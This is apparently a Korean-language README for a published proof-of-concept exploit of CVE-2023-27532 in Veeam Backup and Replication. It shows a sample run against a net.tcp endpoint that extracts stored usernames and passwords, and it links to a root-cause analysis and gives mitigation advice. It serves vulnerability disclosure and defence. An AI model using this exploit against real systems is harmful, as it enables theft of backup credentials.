horizon3ai/cve-2023-27532Veeam Backup and Replication의 CVE-2023-27532에 대한 개념 증명 익스플로잇으로, 보안되지 않은 API 엔드포인트를 악용하여 대상 시스템에서 자격 증명을 추출합니다.
Veeam Backup and Replication에 영향을 미치는 CVE-2023-27532의 POC
취약점에 대한 기술적 근본 원인 분석은 저희 블로그에서 확인할 수 있습니다: https://www.horizon3.ai/veeam-backup-and-replication-cve-2023-27532-deep-dive
이 POC는 안전하지 않은 API 엔드포인트를 악용하여 자격 증명을 추출합니다.
/home/dev/RiderProjects/Veeam_CVE-2023-27532/CVE-2023-27532/bin/Debug/net6.0/CVE-2023-27532 net.tcp://192.168.1.139:9401/
UserName = dev Password = Super Secret Password
UserName = root Password =
UserName = root Password =
UserName = root Password =
UserName = root Password =
최신 버전으로 업데이트하거나 Veeam 권고에 포함된 지침에 따라 완화하십시오.
이 소프트웨어는 순전히 학술 연구 및 효과적인 방어 기술 개발의 목적으로 만들어졌으며, 명시적으로 승인된 경우를 제외하고 시스템을 공격하는 데 사용하기 위한 것이 아닙니다. 프로젝트 유지 관리자는 소프트웨어의 오용에 대해 책임을 지지 않습니다. 책임감 있게 사용하십시오.